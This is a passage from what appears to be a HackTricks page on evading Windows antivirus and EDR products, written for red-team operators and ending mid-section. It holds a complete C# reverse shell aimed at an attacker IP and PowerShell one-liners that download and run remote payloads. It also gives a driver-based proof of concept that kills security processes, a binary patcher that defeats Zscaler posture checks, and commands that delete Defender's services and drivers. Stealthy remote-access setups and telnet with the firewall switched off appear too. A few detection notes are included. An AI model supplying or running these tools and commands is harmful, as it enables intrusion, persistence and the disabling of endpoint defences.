    475 SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
    476 
    477 **MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
    478 
    479 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28237%29.png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
    480 
    481 > [!TIP]
    482 > It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.
    483 
    484 A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
    485 
    486 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28640%29.png" alt=""><figcaption></figcaption></figure>
    487 
    488 [**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
    489 
    490 Example usage:
    491 
    492 ```bash
    493 PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
    494 
    495 +      o     +              o   +      o     +              o
    496     +             o     +           +             o     +         +
    497     o  +           +        +           o  +           +          o
    498 -_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
    499    :: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
    500    for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
    501 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
    502 +      o         o   +       o       +      o         o   +       o
    503 +      o            +      o    ~   Mariusz Banach / mgeeky    o
    504 o      ~     +           ~          <mb [at] binary-offensive.com>
    505     o           +                         o           +           +
    506 
    507 [.] Packaging input file to output .iso (iso)...
    508 Burning file onto ISO:
    509     Adding file: /TotallyLegitApp.exe
    510 
    511 [+] Generated file written to (size: 3420160): container.iso
    512 ```
    513 
    514 Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
    515 
    516 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
    517 
    518 ## ETW
    519 
    520 Event Tracing for Windows (ETW) is a powerful logging mechanism in Windows that allows applications and system components to **log events**. However, it can also be used by security products to monitor and detect malicious activities.
    521 
    522 Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. This is done by patching the function in memory to return immediately, effectively disabling ETW logging for that process.
    523 
    524 You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.<sup>[[33]](#references)[[34]](#references)</sup>
    525 
    526 
    527 ## C# Assembly Reflection
    528 
    529 Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
    530 
    531 Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
    532 
    533 Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
    534 
    535 - **Fork\&Run**
    536 
    537 It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs **outside** our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a **much greater chance** of our **implant surviving.** The drawback is that you have a **greater chance** of getting caught by **Behavioural Detections**.
    538 
    539 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28215%29.png" alt=""><figcaption></figcaption></figure>
    540 
    541 - **Inline**
    542 
    543 It's about injecting the post-exploitation malicious code **into its own process**. This way, you can avoid having to create a new process and getting it scanned by AV, but the drawback is that if something goes wrong with the execution of your payload, there's a **much greater chance** of **losing your beacon** as it could crash.
    544 
    545 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281136%29.png" alt=""><figcaption></figcaption></figure>
    546 
    547 > [!TIP]
    548 > If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
    549 
    550 You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
    551 
    552 ## Using Other Programming Languages
    553 
    554 As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**.
    555 
    556 By allowing access to the Interpreter Binaries and the environment on the SMB share you can **execute arbitrary code in these languages within memory** of the compromised machine.
    557 
    558 The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful.
    559 
    560 ## TokenStomping
    561 
    562 Token stomping manipulates the access token of a security product such as an EDR or AV. Reducing the token's privileges can leave the process running while preventing it from performing privileged inspection or remediation actions.
    563 
    564 To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes.
    565 
    566 - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
    567 - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
    568 - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
    569 
    570 ## Using Trusted Software
    571 
    572 ### Chrome Remote Desktop
    573 
    574 As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), it's easy to just deploy the Chrome Remote Desktop in a victims PC and then use it to takeover it and maintain persistence:<sup>[[35]](#references)</sup>
    575 1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
    576 2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
    577 3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
    578 4. Execute the supplied command with the required adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (the `--pin` parameter sets the PIN without using the GUI).
    579  
    580 
    581 ## Advanced Evasion
    582 
    583 Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments.
    584 
    585 Every environment you go against will have their own strengths and weaknesses.
    586 
    587 I highly encourage you go watch this talk from [@ATTL4S](https://twitter.com/DaniLJ94), to get a foothold into more Advanced Evasion techniques.
    588 
    589 
    590 [502507556?Embedded=True&Owner=32913914&Source=Vimeo Logo](https%3A//vimeo.com/502507556%3Fembedded%3Dtrue%26owner%3D32913914%26source%3Dvimeo_logo)
    591 
    592 his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
    593 
    594 
    595 [Watch?V=Iba7Ung39O4](https%3A//www.youtube.com/watch%3Fv%3DIbA7Ung39o4)
    596 
    597 ## **Old Techniques**
    598 
    599 ### **Check which parts Defender finds as malicious**
    600 
    601 You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\
    602 Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
    603 
    604 ### **Telnet Server**
    605 
    606 Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
    607 
    608 ```bash
    609 pkgmgr /iu:"TelnetServer" /quiet
    610 ```
    611 
    612 Make it **start** when the system is started and **run** it now:
    613 
    614 ```bash
    615 sc config TlntSVR start= auto obj= localsystem
    616 ```
    617 
    618 **Change telnet port** (stealth) and disable firewall:
    619 
    620 ```text
    621 tlntadmn config port=80
    622 netsh advfirewall set allprofiles state off
    623 ```
    624 
    625 ### UltraVNC
    626 
    627 Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
    628 
    629 **ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
    630 
    631 - Enable the option _Disable TrayIcon_
    632 - Set a password in _VNC Password_
    633 - Set a password in _View-Only Password_
    634 
    635 Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
    636 
    637 #### **Reverse connection**
    638 
    639 The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
    640 
    641 **WARNING:** To maintain stealth you must not do a few things
    642 
    643 - Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
    644 - Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
    645 - Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
    646 
    647 ### GreatSCT
    648 
    649 Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
    650 
    651 ```text
    652 git clone https://github.com/GreatSCT/GreatSCT.git
    653 cd GreatSCT/setup/
    654 ./setup.sh
    655 cd ..
    656 ./GreatSCT.py
    657 ```
    658 
    659 Inside GreatSCT:
    660 
    661 ```text
    662 use 1
    663 list #Listing available payloads
    664 use 9 #rev_tcp.py
    665 set lhost 10.10.14.0
    666 sel lport 4444
    667 generate #payload is the default name
    668 #This will generate a meterpreter xml and a rcc file for msfconsole
    669 ```
    670 
    671 Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with:
    672 
    673 ```text
    674 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
    675 ```
    676 
    677 **Current defender will terminate the process very fast.**
    678 
    679 ### Compiling our own reverse shell
    680 
    681 https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
    682 
    683 #### First C# Revershell
    684 
    685 Compile it with:
    686 
    687 ```text
    688 c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
    689 ```
    690 
    691 Use it with:
    692 
    693 ```text
    694 back.exe <ATTACKER_IP> <PORT>
    695 ```
    696 
    697 ```csharp
    698 // From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
    699 using System;
    700 using System.Text;
    701 using System.IO;
    702 using System.Diagnostics;
    703 using System.ComponentModel;
    704 using System.Linq;
    705 using System.Net;
    706 using System.Net.Sockets;
    707 
    708 
    709 namespace ConnectBack
    710 {
    711 	public class Program
    712 	{
    713 		static StreamWriter streamWriter;
    714 
    715 		public static void Main(string[] args)
    716 		{
    717 			using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
    718 			{
    719 				using(Stream stream = client.GetStream())
    720 				{
    721 					using(StreamReader rdr = new StreamReader(stream))
    722 					{
    723 						streamWriter = new StreamWriter(stream);
    724 
    725 						StringBuilder strInput = new StringBuilder();
    726 
    727 						Process p = new Process();
    728 						p.StartInfo.FileName = "cmd.exe";
    729 						p.StartInfo.CreateNoWindow = true;
    730 						p.StartInfo.UseShellExecute = false;
    731 						p.StartInfo.RedirectStandardOutput = true;
    732 						p.StartInfo.RedirectStandardInput = true;
    733 						p.StartInfo.RedirectStandardError = true;
    734 						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
    735 						p.Start();
    736 						p.BeginOutputReadLine();
    737 
    738 						while(true)
    739 						{
    740 							strInput.Append(rdr.ReadLine());
    741 							//strInput.Append("\n");
    742 							p.StandardInput.WriteLine(strInput);
    743 							strInput.Remove(0, strInput.Length);
    744 						}
    745 					}
    746 				}
    747 			}
    748 		}
    749 
    750 		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    751         {
    752             StringBuilder strOutput = new StringBuilder();
    753 
    754             if (!String.IsNullOrEmpty(outLine.Data))
    755             {
    756                 try
    757                 {
    758                     strOutput.Append(outLine.Data);
    759                     streamWriter.WriteLine(strOutput);
    760                     streamWriter.Flush();
    761                 }
    762                 catch (Exception err) { }
    763             }
    764         }
    765 
    766 	}
    767 }
    768 ```
    769 
    770 ### C# using compiler
    771 
    772 ```text
    773 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
    774 ```
    775 
    776 [REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
    777 
    778 [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
    779 
    780 Automatic download and execution:
    781 
    782 ```csharp
    783 64bit:
    784 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
    785 
    786 32bit:
    787 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
    788 ```
    789 
    790 
    791 [469Ac5F9944Ed1B8C39129Dc0037Bb8F](https%3A//gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f)
    792 
    793 C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
    794 
    795 ### C++
    796 
    797 ```text
    798 sudo apt-get install mingw-w64
    799 
    800 i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
    801 ```
    802 
    803 - [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
    804 - [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
    805 - [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
    806 - [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2)
    807 - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
    808 - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
    809 
    810 ### Using python for build injectors example:
    811 
    812 - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
    813 
    814 ### Other tools
    815 
    816 ```bash
    817 # Veil Framework:
    818 https://github.com/Veil-Framework/Veil
    819 
    820 # Shellter
    821 https://www.shellterproject.com/download/
    822 
    823 # Sharpshooter
    824 # https://github.com/mdsecactivebreach/SharpShooter
    825 # Javascript Payload Stageless:
    826 SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
    827 
    828 # Stageless HTA Payload:
    829 SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
    830 
    831 # Staged VBS:
    832 SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
    833 
    834 # Donut:
    835 https://github.com/TheWover/donut
    836 
    837 # Vulcan
    838 https://github.com/praetorian-code/vulcan
    839 ```
    840 
    841 ### More
    842 
    843 - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
    844 
    845 ## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
    846 
    847 Storm-2603 leveraged a tiny console utility known as **Antivirus Terminator** to disable endpoint protections before dropping ransomware. The tool brings its **own vulnerable but *signed* driver** and abuses it to issue privileged kernel operations that even Protected-Process-Light (PPL) AV services cannot block.<sup>[[12]](#references)</sup>
    848 
    849 Key take-aways
    850 1. **Signed driver**: The file delivered to disk is `ServiceMouse.sys`, but the binary is the legitimately signed driver `AToolsKrnl64.sys` from Antiy Labs’ “System In-Depth Analysis Toolkit”. Because the driver bears a valid Microsoft signature it loads even when Driver-Signature-Enforcement (DSE) is enabled.
    851 2. **Service installation**:
    852    ```powershell
    853    sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
    854    sc start  ServiceMouse
    855    ```
    856    The first line registers the driver as a **kernel service** and the second one starts it so that `\\.\ServiceMouse` becomes accessible from user land.
    857 3. **IOCTLs exposed by the driver**
    858    | IOCTL code | Capability                              |
    859    |-----------:|-----------------------------------------|
    860    | `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
    861    | `0x990000D0` | Delete an arbitrary file on disk |
    862    | `0x990001D0` | Unload the driver and remove the service |
    863 
    864    Minimal C proof-of-concept:
    865    ```c
    866    #include <windows.h>
    867    
    868    int main(int argc, char **argv){
    869        DWORD pid = strtoul(argv[1], NULL, 10);
    870        HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    871        DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
    872        CloseHandle(hDrv);
    873        return 0;
    874    }
    875    ```
    876 4. **Why it works**:  BYOVD skips user-mode protections entirely; code that executes in the kernel can open *protected* processes, terminate them, or tamper with kernel objects irrespective of PPL/PP, ELAM or other hardening features.
    877 
    878 Detection / Mitigation
    879 •  Enable Microsoft’s vulnerable-driver block list (`HVCI`, `Smart App Control`) so Windows refuses to load `AToolsKrnl64.sys`.
    880 •  Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list.
    881 •  Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls.
    882 
    883 ### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
    884 
    885 Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible:
    886 
    887 1. Posture evaluation happens **entirely client-side** (a boolean is sent to the server).
    888 2. Internal RPC endpoints only validate that the connecting executable is **signed by Zscaler** (via `WinVerifyTrust`).<sup>[[11]](#references)</sup>
    889 
    890 By **patching four signed binaries on disk** both mechanisms can be neutralised:
    891 
    892 | Binary | Original logic patched | Result |
    893 |--------|------------------------|---------|
    894 | `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Always returns `1` so every check is compliant |
    895 | `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ any (even unsigned) process can bind to the RPC pipes |
    896 | `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Replaced by `mov eax,1 ; ret` |
    897 | `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited |
    898 
    899 Minimal patcher excerpt:
    900 
    901 ```python
    902 pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
    903 replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1
    904 
    905 with open("ZSATrayManager.exe", "r+b") as f:
    906     data = f.read()
    907     off = data.find(pattern)
    908     if off == -1:
    909         print("pattern not found")
    910     else:
    911         f.seek(off)
    912         f.write(replacement)
    913 ```
    914 
    915 After replacing the original files and restarting the service stack:
    916 
    917 * **All** posture checks display **green/compliant**.
    918 * Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
    919 * The compromised host gains unrestricted access to the internal network defined by the Zscaler policies.
    920 
    921 This case study demonstrates how purely client-side trust decisions and simple signature checks can be defeated with a few byte patches.
    922 
    923 ## Microsoft Defender `BTR.sys` trusted-functionality abuse
    924 
    925 Defender's **Boot-Time Removal** driver is a useful counterexample to classic BYOVD. `BTR.sys` is a legitimate Microsoft-signed remediation component with no memory-corruption bug and no IOCTL interface; after gaining administrator access and `SeLoadDriverPrivilege`, an operator can instead forge its private remediation transaction and obtain intended Ring-0 file/registry operations. This is a **post-compromise AV/EDR-neutralization primitive, not initial access or privilege escalation**, and the driver can be extracted from the target's own `MpEngine.dll` `BOOTTIMETOOL` resource rather than importing a conspicuous third-party driver.<sup>[[36]](#references)</sup>
    926 
    927 ### Staging the one-shot driver
    928 
    929 Defender normally drops the resource as a random `[a-z]{8}.sys` file and registers a similarly named kernel service. `DriverEntry` reads the service's `Args` value, opens the referenced NTFS ADS, decrypts and validates the action list, writes feedback, and returns `0xC0000056` (`STATUS_DELETE_PENDING`) after successful execution so the driver unloads instead of remaining resident. A forged service has the following characteristic values.<sup>[[36]](#references)[[37]](#references)</sup>
    930 
    931 ```text
    932 Type         = 1
    933 Start        = 1
    934 ErrorControl = 0
    935 ImagePath    = \??\C:\Windows\System32\drivers\<random>.sys
    936 Group        = Boot Bus Extender
    937 Args         = C:\Windows\System32\drivers\<random>.sys:changelist
    938 ```
    939 
    940 The `:changelist` stream contains one RC4-encrypted blob. The analyzed builds reuse a fixed 256-byte key, so encryption is not an authorization boundary. A valid plaintext has a 24-byte global header (`Magic=0xFEE1DEAD`, `Version=2`, `PayloadOffset=0x10`, header CRC and a payload-derived transaction ID), followed by a null-terminated UTF-16 feedback path and any number of items. Each item has a 16-byte header (`DataSize`, `Action`, `HeaderCRC`, `DataCRC`) plus action-specific data ending in **exactly four NUL bytes**. Every header/data region is checked independently with CRC-32 polynomial `0xEDB88320`, initial state `0xFFFFFFFF`, and **no final XOR** (`~CRC32`); the CRC state is reset for every region.<sup>[[36]](#references)[[37]](#references)</sup>
    941 
    942 The accepted action IDs expose these kernel primitives.<sup>[[36]](#references)[[37]](#references)</sup>
    943 
    944 | ID | Item data | Result |
    945 | --- | --- | --- |
    946 | 1 | `[UTF-16 path]` | Delete a file, including a locked file |
    947 | 2 | `[UTF-16 path]` | Remove an empty directory |
    948 | 3 | `[Flags][source][destination]` | Move a file into an attacker-selected protected path; an empty destination means delete |
    949 | 4 | `[Flags][key path]` | Recursively delete a registry key |
    950 | 5 | `[Flags][key path + "\\" + value]` | Delete a registry value |
    951 | 6 | `[Flags][type][size][key path + "\\" + value][data]` | Create/update a registry value and create missing key paths |
    952 
    953 For actions 5 and 6, the on-wire key/value separator is **two consecutive backslashes**; a conventionally formatted path will not be split correctly. The feedback file mostly mirrors the request, but the first four data bytes of each item become its resulting `NTSTATUS`. For actions 1 and 2, which have no leading flags field, BTR shifts the path into the four reserved trailing bytes to make space for that status.<sup>[[36]](#references)</sup>
    954 
    955 ### `BTR_CLI` workflow and early-boot window
    956 
    957 [`BTR_CLI`](https://github.com/Dump-GUY/BTR_CLI) implements the complete chain: extract `BTR.sys` from local Defender, create `<random>.sys:changelist` and a feedback stream, serialize/checksum/encrypt chained actions, directly create the service registry key, then call `NtLoadDriver` for `-trigger now` or leave it as a system-start driver for `-trigger boot`. Direct registry staging avoids the normal SCM `CreateServiceW` path and therefore does **not** produce service-install Event ID 7045. Boot-triggered artifacts can later be removed with `BTR_CLI.exe -cleanup <service_name>`.<sup>[[36]](#references)[[37]](#references)</sup>
    958 
    959 ```powershell
    960 # Runtime: remove protected security-service registrations from Ring 0
    961 BTR_CLI.exe -chain -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" -trigger now
    962 
    963 # Boot: delete a security driver before its user-mode protection stack starts
    964 BTR_CLI.exe -a 1 -s "C:\Windows\System32\drivers\wd\WdFilter.sys" -trigger boot
    965 ```
    966 
    967 `Start=0` is not usable because BTR performs file I/O from `DriverEntry` before the storage stack and `SystemRoot` link are ready. `Start=1` plus the high-priority `Boot Bus Extender` group instead executes in Phase 1: NTFS is usable, but many system-start security drivers and user-mode EDR services have not initialized. Boot-start filters such as `WdFilter` may already be loaded, yet BTR can remove their binaries or service configuration before the next start and can delete service executables before SCM launches them. ELAM does not close this gap because BTR runs after boot-start evaluation and carries a valid Microsoft signature.<sup>[[36]](#references)</sup>
    968 
    969 Multiple actions execute in one transaction. The PoC prepends Action 1 for the hard-coded `\SystemRoot\Temp\BootClean.log`: BTR creates this log, then consumes its own delete request and removes it before unloading. This reduces evidence, while placing feedback in `<random>.sys:<random>.dat` allows removal of the driver and both streams together.<sup>[[36]](#references)[[37]](#references)</sup>
    970 
    971 ### High-signal detection correlations
    972 
    973 Signature-only rules and the Microsoft vulnerable-driver blocklist do not address abuse of intended BTR functionality. Prefer these behavioral correlations, while distinguishing legitimate Defender lineage from an arbitrary launcher.<sup>[[36]](#references)</sup>
    974 
    975 - **Sysmon 15:** `.sys:changelist` creation is universal to BTR staging. A `.dat` ADS attached to the same `.sys` is especially suspicious because legitimate Defender normally places feedback below `C:\ProgramData\Microsoft\Windows Defender\Scans\RebootActions\`.
    976 - **Sysmon 12/13 without System 7045:** correlate direct creation of `HKLM\SYSTEM\CurrentControlSet\Services\<random>` containing `Args=...:changelist` and `Group=Boot Bus Extender` with no matching SCM installation event.
    977 - **Sysmon 6 -> 23:** correlate a known BTR driver load from non-Defender lineage with subsequent file deletion attributed to `System`/PID 4, particularly for security binaries.
    978 - **Sysmon 11 -> 23:** alert on rapid creation and deletion of `\SystemRoot\Temp\BootClean.log` by `System`/PID 4.
    979 - Restrict and audit assignment/enabling of `SeLoadDriverPrivilege`; a Microsoft signature alone is insufficient trust when a security-tool driver is staged by `cmd.exe`, PowerShell, or an unknown process.
    980 
    981 ## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
    982 
    983 Protected Process Light (PPL) enforces a signer/level hierarchy so that only equal-or-higher protected processes can tamper with each other. Offensively, if you can legitimately launch a PPL-enabled binary and control its arguments, you can convert benign functionality (e.g., logging) into a constrained, PPL-backed write primitive against protected directories used by AV/EDR.<sup>[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references)[[20]](#references)</sup>
    984 
    985 What makes a process run as PPL
    986 - The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
    987 - The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
    988 - A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
    989 
    990 See also a broader intro to PP/PPL and LSASS protection here:
    991 
    992 [Credentials Protections](/hacktricks/windows-hardening/stealing-credentials/credentials-protections)
    993 
    994 Launcher tooling
    995 - Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
